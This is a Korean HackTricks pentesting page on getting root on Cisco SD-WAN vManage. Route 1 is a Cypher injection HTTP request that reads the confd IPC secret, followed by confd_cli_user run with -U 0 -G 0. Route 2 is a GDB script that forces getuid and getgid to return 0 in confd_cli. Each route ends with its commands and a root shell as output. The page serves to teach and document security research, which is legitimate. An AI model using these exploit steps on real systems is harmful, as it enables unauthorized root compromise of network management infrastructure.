Korean - Ht
HackTricks Training Twitter Linkedin Sponsor

Cisco - vmanage

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

경로 1

(https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html의 예시)

confd와 다른 이진 파일에 대한 문서를 조금 파헤친 후 (Cisco 웹 사이트의 계정으로 액세스 가능), IPC 소켓을 인증하기 위해 /etc/confd/confd_ipc_secret에 위치한 비밀을 사용한다는 것을 발견했습니다.

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

우리의 Neo4j 인스턴스를 기억하시나요? 이는 vmanage 사용자의 권한으로 실행되고 있으므로, 이전 취약점을 이용하여 파일을 검색할 수 있습니다:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

confd_cli 프로그램은 명령 줄 인수를 지원하지 않지만 /usr/bin/confd_cli_user를 인수와 함께 호출합니다. 따라서 우리는 직접 /usr/bin/confd_cli_user를 우리 자신의 인수로 호출할 수 있습니다. 그러나 현재 권한으로는 읽을 수 없으므로 rootfs에서 가져와 scp를 사용하여 복사한 다음 도움말을 읽고 쉘을 얻기 위해 사용해야 합니다:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

경로 2

(예시 출처: https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

synacktiv 팀의 블로그¹에서는 root 쉘을 얻는 우아한 방법을 설명했지만, 주의할 점은 root만 읽을 수 있는 /usr/bin/confd_cli_user의 사본을 얻어야 한다는 것입니다. 나는 이런 귀찮음 없이 root로 승격하는 다른 방법을 찾았습니다.

/usr/bin/confd_cli 이진 파일을 분석해보면 다음과 같은 내용을 관찰할 수 있었습니다:

vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
40165c: 48 89 c3              mov    %rax,%rbx
40165f: bf 1c 31 40 00        mov    $0x40311c,%edi
401664: e8 17 f8 ff ff        callq  400e80 <getenv@plt>
401669: 49 89 c4              mov    %rax,%r12
40166c: 48 85 db              test   %rbx,%rbx
40166f: b8 dc 30 40 00        mov    $0x4030dc,%eax
401674: 48 0f 44 d8           cmove  %rax,%rbx
401678: 4d 85 e4              test   %r12,%r12
40167b: b8 e6 30 40 00        mov    $0x4030e6,%eax
401680: 4c 0f 44 e0           cmove  %rax,%r12
401684: e8 b7 f8 ff ff        callq  400f40 <getuid@plt>  <-- HERE
401689: 89 85 50 e8 ff ff     mov    %eax,-0x17b0(%rbp)
40168f: e8 6c f9 ff ff        callq  401000 <getgid@plt>  <-- HERE
401694: 89 85 44 e8 ff ff     mov    %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff     mov    -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff        callq  401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00  movb   $0x0,-0x831(%rbp)
4016ac: 48 85 c0              test   %rax,%rax
4016af: 0f 84 ad 03 00 00     je     401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00        mov    $0x3ff,%edx
4016ba: 48 89 c6              mov    %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff  lea    -0xc30(%rbp),%rdi
4016c4:   e8 d7 f7 ff ff           callq  400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …

"ps aux"를 실행하면 다음과 같은 결과를 관찰할 수 있습니다. (참고: -g 100 -u 107)

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

나는 "confd_cli" 프로그램이 로그인한 사용자로부터 수집한 사용자 ID와 그룹 ID를 "cmdptywrapper" 애플리케이션에 전달한다고 가정했습니다.

첫 번째 시도로 "cmdptywrapper"를 직접 실행하고 -g 0 -u 0을 제공했지만 실패했습니다. 어딘가에서 파일 디스크립터 (-i 1015)가 생성된 것 같고, 이를 가짜로 만들 수 없습니다.

Synacktiv의 블로그에서 언급한 대로 confd_cli 프로그램은 명령 줄 인수를 지원하지 않지만, 디버거를 사용하여 영향을 줄 수 있으며 다행히 시스템에는 GDB가 포함되어 있습니다.

GDB 스크립트를 작성하여 API getuid와 getgid를 강제로 0을 반환하도록 했습니다. 이미 직렬화 RCE를 통해 "vmanage" 권한을 가지고 있으므로 /etc/confd/confd_ipc_secret를 직접 읽을 수 있는 권한이 있습니다.

root.gdb:

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run

콘솔 출력:

vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
PreviousArbitrary File Write to RootNextContainerd (ctr) Privilege Escalation

Last updated